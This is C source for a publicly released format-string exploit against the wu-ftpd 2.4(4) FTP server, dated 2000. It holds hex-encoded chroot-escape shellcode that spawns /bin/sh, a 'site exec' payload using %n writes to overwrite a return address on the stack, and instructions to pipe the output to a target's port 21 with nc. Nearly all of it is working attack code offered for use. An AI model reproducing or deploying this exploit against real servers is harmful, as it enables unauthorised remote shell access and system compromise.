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- /*
- * Sample example - part 2: wu-ftpd v2.4(4), exploitation.
- *
- * usage:
- * 1) find the right address location/eggshell location
- * this is easy with a little play around %s and hexdump.
- * Then, fix this exploit.
- *
- * 2) (echo "user ftp"; ./exploit; cat) | nc host 21
- *
- * echo ^[c to clear your screen if needed.
- *
- * Don't forget 0xff must be escaped with 0xff.
- *
- * Pascal Bouchareine [ kalou <pb@grolier.fr> ]
- */
-
- main()
- {
- char b1[255];
- char b2[255];
- char b3[255];
- char b4[255];
- char xx[600];
- int i;
-
- char egg[]= /* Lam3rZ chroot() code */
- "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
- "\x43\x89\xd9\x41\xb0\x3f\xcd\x80"
- "\xeb\x6b\x5e\x31\xc0\x31"
- "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
- "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
- "\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
- "\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
- "\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
- "\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
- "\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
- "\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";
-
- // ( (void (*)()) egg)();
-
- memset(b1, 0, 255);
- memset(b2, 0, 255);
- memset(b3, 0, 255);
- memset(b4, 0, 255);
- memset(xx, 0, 513);
-
- for (i = 0; i < 20 ; i += 2) { /* setup up the 10 %x to eat stack space */
- strcpy(&xx[i], "%x");
- }
-
- memset(b1, '\x90', 0xa3 - 0x50);
- memset(b2, '\x90', 0xfe - 0xa3 - 2);
- memset(b3, '\x90', 0xff - 0xfe);
- memset(b4, '\x90', 0x01bf - 0xff); // build ret address here.
- // i found 0xbffffea3
-
- printf("pass %s@oonanism.com\n", egg);
- printf("site exec .."
- "\x64\xf9\xff\xff\xbf" // insert ret location there.
- "\x65\xf9\xff\xff\xbf" // i had 0xbffff964
- "\x66\xf9\xff\xff\xbf"
- "\x67\xf9\xff\xff\xbf"
- "%s"
- "%s\xeb\x02%%n"
- "%s\xeb\x02%%n"
- "%s%%n"
- "%s%%n\n"
- , xx, b1, b2, b3, b4);
-
- }
- /* www.hack.co.za [19 July 2000]*/